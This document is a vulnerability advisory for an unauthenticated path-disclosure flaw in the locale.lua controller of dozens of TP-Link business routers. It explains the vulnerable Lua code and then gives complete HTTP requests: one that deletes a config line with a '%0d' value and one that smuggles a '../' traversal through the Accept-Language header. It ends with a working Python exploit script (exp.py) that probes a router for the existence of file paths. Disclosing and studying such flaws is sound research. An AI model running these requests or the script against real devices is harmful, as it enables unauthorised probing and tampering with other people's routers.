## [Vulnerability]: ##
Path Disclosure in locale.lua
------------------------------------------
## [Exploitation]: ##
Can be used to verify whether a path exists on the file system.
------------------------------------------
## [Vendor of Product]: ##
Tp-Link router
------------------------------------------
## [Affected Products and firmware version]: ##
Tp-Link TL-WVR300 (Only hardware version v4)
Tp-Link TL-WVR302 (only hardware version v2)
Tp-Link TL-WVR450 (ALL the hardware version and firmware version)
Tp-Link TL-WVR450L (ALL the hardware version and firmware version)
Tp-Link TL-WVR450G (Only hardware version v5)
Tp-Link TL-WVR458 (ALL the hardware version and firmware version)
Tp-Link TL-WVR458L (ALL the hardware version and firmware version)
Tp-Link TL-WVR458P (ALL the hardware version and firmware version)
Tp-Link TL-WVR900G (Only hardware version v3)
Tp-Link TL-WVR900L (ALL the hardware version and firmware version)
Tp-Link TL-WVR1200L (ALL the hardware version and firmware version)
Tp-Link TL-WVR1300L (ALL the hardware version and firmware version)
Tp-Link TL-WVR1300G (ALL the hardware version and firmware version)
Tp-Link TL-WVR1750L (ALL the hardware version and firmware version)
Tp-Link TL-WVR2600L (ALL the hardware version and firmware version)
Tp-Link TL-WVR4300L (ALL the hardware version and firmware version)
Tp-Link TL-WAR302 (ALL the hardware version and firmware version)
Tp-Link TL-WAR450 (ALL the hardware version and firmware version)
Tp-Link TL-WAR450L (ALL the hardware version and firmware version)
Tp-Link TL-WAR458 (ALL the hardware version and firmware version)
Tp-Link TL-WAR458L (ALL the hardware version and firmware version)
Tp-Link TL-WAR900L (ALL the hardware version and firmware version)
Tp-Link TL-WAR1200L (ALL the hardware version and firmware version)
Tp-Link TL-WAR1300L (ALL the hardware version and firmware version)
Tp-Link TL-WAR1750L (ALL the hardware version and firmware version)
Tp-Link TL-WAR2600L (ALL the hardware version and firmware version)
Tp-Link TL-ER3210G (ALL the hardware version and firmware version)
Tp-Link TL-ER3220G (ALL the hardware version and firmware version)
Tp-Link TL-ER5110G (ALL the hardware version and firmware version)
Tp-Link TL-ER5120G (ALL the hardware version and firmware version)
Tp-Link TL-ER5510G (Only hardware version v2,v3)
Tp-Link TL-ER5520G (Only hardware version v2,v3)
Tp-Link TL-ER6110G (ALL the hardware version and firmware version)
Tp-Link TL-ER6120G (Only hardware version v2)
Tp-Link TL-ER6220G (ALL the hardware version and firmware version)
Tp-Link TL-ER6510G (ALL the hardware version and firmware version)
Tp-Link TL-ER6520G (Only hardware version v2,v3)
Tp-Link TL-ER7520G (ALL the hardware version and firmware version)
Tp-Link TL-R473 (only hardware version v5)
Tp-Link TL-R473G (ALL the hardware version and firmware version)
Tp-Link TL-R473P-AC (ALL the hardware version and firmware version)
Tp-Link TL-R473GP-AC (ALL the hardware version and firmware version)
Tp-Link TL-R478 (only hardware version v6)
Tp-Link TL-R478+ (only hardware version v7)
Tp-Link TL-R478G (ALL the hardware version and firmware version)
Tp-Link TL-R478G+ (only hardware version v3)
Tp-Link TL-R479P-AC (ALL the hardware version and firmware version)
Tp-Link TL-R479GP-AC (ALL the hardware version and firmware version)
Tp-Link TL-R479GPE-AC (ALL the hardware version and firmware version)
Tp-Link TL-R483 (only hardware version v5)
Tp-Link TL-R483G (only hardware version v2)
Tp-Link TL-R488 (Only hardware version v5)
Tp-Link TL-R4149G (ALL the hardware version and firmware version)
Tp-Link TL-R4239G (Only hardware version v2)
Tp-Link TL-R4299G (Only hardware version v2)
------------------------------------------
## [Attack Type]: ##
Remote
------------------------------------------
## [Reference]: ##
http://service.tp-link.com.cn/download/201612/TL-WVR450L%20V1.0%E5%8D%87%E7%BA%A7%E8%BD%AF%E4%BB%B620161125.zip (Official firmware for TL-WVR450L)
http://www.tp-link.com.cn/product_listsmb_2008_26_00_01_02_03_04.html
http://www.tp-link.com.cn/product_listsmb_2022_9_00_01_02_03.html
http://www.tp-link.com.cn/product_listsmb_2023_7_00_01_02.html
------------------------------------------
## [Discoverer]: ##
Tianfeng Guan, Sichuan Silent Information Technology Co.,Ltd ,http://www.silence.com.cn/
------------------------------------------
## [Affected components]: ##
Affected executable application: uhttpd
Affected source code file: `/usr/lib/lua/luci/controller/locale.lua`
Affected function: set_sysinfo(formvals) and get_sysinfo(formvals)
------------------------------------------
## [Vulnerability details]: ##
When accessing the locale.lua through the web manager(uhttpd),
we can set the option "locale" in the config file /etc/config/locale by the controller function set_sysinfo(formvals),
and we can also read the content of the config file /etc/config/locale by the controller function get_sysinfo(formvals).
But when we post to locale.lua to set the option "locale" with the post data 'operation=write;locale=%0d', it can not handle the '%0d',
and as the result, the line about the option locale in the /etc/config/locale will disappear.
# cat /etc/config/locale
config global 'sysinfo'
option force 'false'
option default 'zh_CN'
option model 'TL-WVR1300G'
option region 'China'
option lang 'chinese'
option locale 'en_US'
|
|
V
# cat /etc/config/locale
config global 'sysinfo'
option force 'false'
option default 'zh_CN'
option model 'TL-WVR1300G'
option region 'China'
option lang 'chinese'
And When we post to locale.lua to read the content of the config file /etc/config/locale with the post data 'operation=read',
the controller function get_sysinfo(formvals) will check the option "locale" in the config file /etc/config/locale whether exists at first,
if the option "locale" not exists, it will use the Accept-Language in the http post headers to verify whether the language file exists.
function get_sysinfo(formvals)
......
local locale = uci_r:get(LOCALECFG, "sysinfo", "locale") -- Get the option "locale" line in the config file /etc/config/locale.
if locale then -- if the option "locale" exists
data.locale = locale
else -- if the option "locale" not exists
local web_lang = luci.http.getenv("HTTP_ACCEPT_LANGUAGE") or ""
local pos = web_lang:find(",") or 1
web_lang = web_lang:sub(1, pos - 1)
-- Check whether the language package is existed.
if web_lang and web_lang ~= "" then
local lang = web_lang:gsub('-', '_')
local file_path = "/www/webpages/locale/" .. lang .. "/lan.js"
if nixio.fs.stat(file_path) then
data.locale = lang
end
end
uci_r:set(LOCALECFG, "sysinfo", "locale", data.locale)
uci_r:commit(LOCALECFG)
end
return data
end
So, you can see when the option "locale" not exists , it doesn't have a correct check and limit to the Accept-Language in the http post headers, and it will use the nixio.fs.stat(file_path) to verify the file_path whether exists and the file_path include the value of Accept-Language in the http post headers.
------------------------------------------
## [Exploitation details]: ##
It doesn't requires any authentication to access the locale.lua.
We can use this Path Disclosure vulnerability to verify whether a path exists on the file system.
For example, we can send a http post request to delete the option line about "locale" in the /etc/config/locale like:
POST /cgi-bin/luci/;stok=/locale?form=lang HTTP/1.1
Host: 192.168.3.1
Content-Length: 26
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.3.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.3.1/webpages/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Connection: close
operation=write;locale=%0d
And then ,we can send a http post request like:
POST /cgi-bin/luci/;stok=/locale?form=lang HTTP/1.1
Host: 192.168.3.1
Content-Length: 14
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.3.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.3.1/webpages/login.html
Accept-Encoding: gzip, deflate
Accept-Language: ../../../etc/config/../../www/webpages/locale/en_US,zh;q=0.8
Connection: close
operation=read
Finally, if the router respond like:
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html
Cache-Control: no-cache
Expires: 0
Content-Length: 159
{ "id":1, "result":{ "locale":"../../../etc/config/../../www/webpages/locale/en_US/", "force":false, "radio":1, "model":"TL-WVR450L v1.0" }, "error_code":"0" }
It can confirm the path '/etc/config/' is existent.
------------------------------------------
## [exp.py]: ##
# Tested product: TL-WVR450L
# Hardware version:V1.0
# Firmware version: 20161125
import requests
import json
import urllib
def execute(ip, port, directory):
try:
s = requests.session()
counts = directory.count('/')
directory = '../../..{}'.format(directory) + '/'+ '../'*counts + 'www/webpages/locale/en_US'
uri = "http://{}:{}".format(ip,port)
headers = {
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'Referer': 'http://{}/webpages/login.html'.format(ip)
}
ret = s.post(uri + '/cgi-bin/luci/;stok=/locale?form=lang', data='operation=write;locale=%0d', headers=headers, timeout=5)
print ret.text
headers = {
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'Referer': 'http://{}/webpages/login.html'.format(ip),
'Accept-Language':'{},zh;q=0.8'.format(directory)
}
ret = s.post(uri + '/cgi-bin/luci/;stok=/locale?form=lang', data='operation=read', headers=headers, timeout=5)
print ret.text
print '[+] Finish Information Disclosure'
print '---------------------------------------------------------------'
if directory == json.loads(ret.text)['result']['locale']:
print '[+] The path is existent!'
return True
else:
print '[-] The path is not existent!'
return False
except:
return False
if __name__=='__main__':
print '-----------Tplink LUCI Locale Path Disclosure-----------'
print execute('192.168.1.1', 80, '/etc/config')
暂无评论